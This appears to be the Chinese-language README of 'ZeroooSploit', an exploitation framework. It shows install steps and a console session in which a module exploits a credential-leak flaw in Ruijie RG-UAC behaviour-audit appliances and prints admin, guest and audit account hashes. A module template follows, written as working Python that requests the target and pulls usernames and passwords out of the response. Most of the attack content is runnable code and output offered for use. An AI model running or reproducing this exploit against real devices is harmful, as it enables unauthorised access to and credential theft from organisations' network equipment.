ZeroooSploit - Exploitation Framework
漏洞利用框架
安装
需要模块:
- aiohttp
运行
git clone https://github.com/Amzza0x00/Zerooo-Exploitation-Framework.git
cd Zerooo-Exploitation-Framework
python3 console.py
_ _ _ 1.0.0#dev
_______ _ __ ___ ___ ___ ___ _ __ | | ___ (_) |_
|_ / _ \ r'__/ _ \ / _ \ / _ \/ __| '_ \| |/ _ \| | __|
/ / __/ | | (_) | (_) | (_) \__ \ |_) | | (_) | | |_
/___\___|_| \___/ \___/ \___/|___/ .__/|_|\___/|_|\__|
|_|
Zerooo Exploitation Framework
+ -- --=[ 5 exploits - 4 auxiliary ]
zsf > setg proxy http://127.0.0.1:7890
2021/06/15 16:14:34 [*] proxy => http://127.0.0.1:7890
zsf > use exploit/ruijie/rg-uac-passleak
zsf (rg-uac-passleak) > show options
Module options (exploit/ruijie/rg-uac-passleak):
Name Current Setting Required Description
---- --------------- -------- -----------
targets https://192.168.1.2:3001 yes 目标url，多个目标请用,分开
zsf (rg-uac-passleak) > run
2021/06/12 16:14:49 [*] Running module exploit/ruijie/rg-uac-passleak...
2021/06/12 16:14:49 [*] Current task 1
2021/06/12 16:15:12 [+] name:admin,password:8b6ebdca5ad9f22c64a831f9ab262159
2021/06/12 16:15:12 [+] name:guest,password:fcf41657f02f88137a1bcf068a32c0a3
2021/06/12 16:15:12 [+] name:audit,password:d33542b8458db8cabd9843fe7c1e8784
2021/06/12 16:15:12 [*] exploit complete
zsf (rg-uac-passleak) >
模版
基本结构
import re
from zerooo.core.asyncpool import async_run # 协程运行
from zerooo.core.log import LOGGER # 颜色输出
from zerooo.core.options import Option # 设置获取exp属性
from zerooo.request.httpclient import HttpClient # 异步http发包
from zerooo.utils.util import get_target # 切分多个目标
# 定义Zerooosploit类，继承Option
class Zerooosploit(Option):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
'Name': '锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露', # exp名字
'Module': 'exploit/ruijie/rg-uac-passleak', # exp路径
'Product': '锐捷RG-UAC统一上网行为管理审计系统', # 产品
'Cve': '', # cve编号
'Create_date': '20210411', # 创建日期
'Description': '锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台', # 描述
'Authors': '', # 作者
'References': '' # 参考链接
}
self.option = {
"""
注册exp所需参数
Current Setting 参数默认值, Required 可选/必须, Description 参数描述
"""
'targets': {'Current Setting': '', 'Required': 'yes', 'Description': '目标url，多个目标请用,分开'},
}
# async def定义异步函数
async def rg_uac_passleak(self, target):
# 请求方式、路径等
resp = await HttpClient().send_request_cgi('GET', url=target)
return resp
# 定义异步回调函数，用于处理结果
def rg_uac_passleak_callback(self, future):
resp = future.result()
if resp['code'] == 200:
result = resp['text']
user = re.findall('"name":"(.*?)"', result)
password = re.findall('"password":"(.*?)"', result)
for i in range(len(user)):
msg = f'name:{user[i]},password:{password[i]}'
LOGGER.success(msg)
else:
msg = 'The target ' + str(resp['url']) + ' not vuln !'
LOGGER.info(msg)
# 运行方法
def exploit(self):
# 调用get_options方法获取参数
targets = get_target(self.get_options('targets'))
# async_run 异步调用 arg1 异步对象 arg2 可迭代对象 arg3 异步回调函数
async_run(self.rg_uac_passleak, targets, self.rg_uac_passleak_callback)
LOGGER.info('exploit complete')
反馈
欢迎issues